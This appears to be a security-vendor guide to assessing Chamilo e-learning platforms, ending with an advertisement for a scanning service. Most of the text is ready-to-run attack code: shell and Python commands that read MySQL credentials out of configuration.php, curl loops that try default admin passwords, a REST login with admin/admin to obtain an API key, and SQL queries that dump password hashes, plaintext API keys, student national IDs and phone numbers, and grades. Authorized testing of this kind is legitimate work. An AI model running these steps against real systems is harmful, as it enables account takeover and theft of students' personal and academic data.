Chamilo is a widely deployed open-source e-learning and course management platform used by universities, training organizations, and government education bodies. Key assessment areas: app/config/configuration.php exposes MySQL credentials; admin credentials are frequently set to defaults; the Chamilo web services API uses API keys stored in the user table; and the database contains student PII, grade data, quiz answers, and file submissions. This guide covers systematic Chamilo security assessment.
# Chamilo — app/config/configuration.php MySQL credential extraction
CHAMILO_URL="https://lms.example.com"
# app/config/configuration.php — Chamilo database configuration
cat /var/www/chamilo/app/config/configuration.php 2>/dev/null | head -50
# $_configuration['db_host'] = 'localhost';
# $_configuration['db_user'] = 'chamilo';
# $_configuration['db_password'] = '...'; <-- MySQL database password
# $_configuration['main_database'] = 'chamilo';
# $_configuration['root_web'] = 'https://lms.example.com/';
python3 -c "
import re
content = open('/var/www/chamilo/app/config/configuration.php').read()
patterns = {
'db_password': r\"\\\$_configuration\['db_password'\]\s*=\s*'([^']+)'\",
'db_user': r\"\\\$_configuration\['db_user'\]\s*=\s*'([^']+)'\",
'db_host': r\"\\\$_configuration\['db_host'\]\s*=\s*'([^']+)'\",
'main_database': r\"\\\$_configuration\['main_database'\]\s*=\s*'([^']+)'\",
'encrypt_password': r\"\\\$_configuration\['password_encryption'\]\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# Test configuration.php web access
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${CHAMILO_URL}/app/config/configuration.php" 2>/dev/null)
echo "configuration.php: HTTP ${STATUS}"
# Chamilo version detection
curl -s "${CHAMILO_URL}/" 2>/dev/null | grep -oP 'Chamilo [0-9]+\.[0-9]+' | head -1
# Default admin credentials
for CRED in "admin:admin" "admin:chamilo" "chamilo:chamilo" "admin:password"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
RESPONSE=$(curl -s -X POST "${CHAMILO_URL}/main/auth/login.php" \
-d "login=${USER}&password=${PASS}&submitAuth=+" \
-c /tmp/chamilo_c -b /tmp/chamilo_c \
-L -w "%{http_code}" -o /dev/null 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${RESPONSE}"
done
# Chamilo REST API — API key and admin credential assessment
CHAMILO_URL="https://lms.example.com"
# Chamilo web services use an API key (ws_security_key) stored per user
# Test SOAP web service availability
curl -s "${CHAMILO_URL}/main/webservices/soap.php?wsdl" 2>/dev/null | \
grep -oP 'operation name="\K[^"]+' | head -10
# Services: WSCMUserLogin, WSCMGetCourse, WSCMGetUserList, etc.
# Test REST web service availability
curl -s "${CHAMILO_URL}/main/webservices/rest.php" 2>/dev/null | head -20
# With extracted credentials — access admin panel
# Admin panel at /main/admin/
ADMIN_SESS=$(curl -s -c /tmp/chamilo_admin -X POST \
"${CHAMILO_URL}/main/auth/login.php" \
-d "login=admin&password=admin&submitAuth=+" \
-L --max-redirs 3 2>/dev/null | \
grep -o "sid=[a-zA-Z0-9]*" | head -1)
echo "Session: ${ADMIN_SESS}"
# Access course list via admin API
curl -s "${CHAMILO_URL}/main/webservices/rest.php?action=authenticate&username=admin&password=admin&format=json" \
2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'API Key: {d.get(\"data\",{}).get(\"apiKey\")}')
print(f'UserID: {d.get(\"data\",{}).get(\"userId\")}')
except: print('REST API auth response:', sys.stdin.read()[:200])
" 2>/dev/null
# Chamilo MySQL database — user hash, student PII, and grade data extraction
DB_PASS="extracted-db-password"
mysql -u chamilo -p"${DB_PASS}" chamilo 2>/dev/null << 'EOF'
-- Chamilo users with password hashes
SELECT u.user_id, u.username, u.email, u.password,
u.status, u.active, u.firstname, u.lastname,
u.registration_date, u.last_login
FROM user u
WHERE u.active = 1
ORDER BY u.user_id
LIMIT 20;
-- status: 1=student, 5=teacher, 6=admin
-- password: SHA-512 or bcrypt depending on version/configuration
-- Admin users (status = 6)
SELECT u.username, u.email, u.password,
u.ws_api_key -- REST API authentication key
FROM user u
WHERE u.status = 6;
-- Web service API keys (for all users with API access)
SELECT u.user_id, u.username, u.email, u.ws_api_key
FROM user u
WHERE u.ws_api_key IS NOT NULL
AND u.ws_api_key != '';
-- ws_api_key: plaintext API key for REST/SOAP web services
-- Student PII (extra_field_values)
SELECT u.username, u.email, u.firstname, u.lastname,
efv.value as field_value, ef.variable as field_name
FROM user u
JOIN extra_field_values efv ON efv.item_id = u.user_id
JOIN extra_field ef ON ef.id = efv.field_id
WHERE ef.extra_field_type = 1 -- user extra fields
ORDER BY u.user_id
LIMIT 20;
-- Course enrollment and grades
SELECT u.username, u.email, c.code as course_code, c.title as course_title,
cu.status as role, -- 0=student, 1=teacher
g.score, g.max, g.date_log
FROM user u
JOIN course_user cu ON cu.user_id = u.user_id
JOIN course c ON c.id = cu.c_id
LEFT JOIN gradebook_result g ON g.user_id = u.user_id
WHERE g.score IS NOT NULL
ORDER BY u.user_id
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| app/config/configuration.php MySQL db_password extraction | Read /var/www/chamilo/app/config/configuration.php — database credentials for all student data, course content, grades, and API keys | Critical |
| user table ws_api_key plaintext REST/SOAP API key extraction | MySQL SELECT ws_api_key FROM user WHERE status=6 — plaintext API keys for admin-level web service access; all user data, course enrollment, grade management | High |
| Admin credential brute-force (admin/admin, admin/chamilo) | POST /main/auth/login.php — admin session; full LMS administration, user management, course creation, grade modification | High |
| Student PII extraction from extra_field_values | MySQL SELECT from extra_field_values JOIN user — national IDs, phone numbers, custom student fields; GDPR-relevant personal data for all students | High |
| Grade and assessment data extraction from gradebook_result | MySQL SELECT from gradebook_result JOIN user — all student grades, quiz scores, course performance; academic record integrity implications | Medium |
Ironimo tests Chamilo LMS deployments for app/config/configuration.php MySQL db_password web exposure, /app/ directory PHP file access protection, admin/admin credential brute-force at /main/auth/login.php, user table ws_api_key plaintext REST API key extraction, admin user (status=6) identification and hash extraction, student PII enumeration from extra_field_values, grade data extraction from gradebook_result, course enrollment and access control assessment via course_user, web services SOAP/REST availability and authentication bypass, and Chamilo version disclosure for CVE targeting.
Start free scan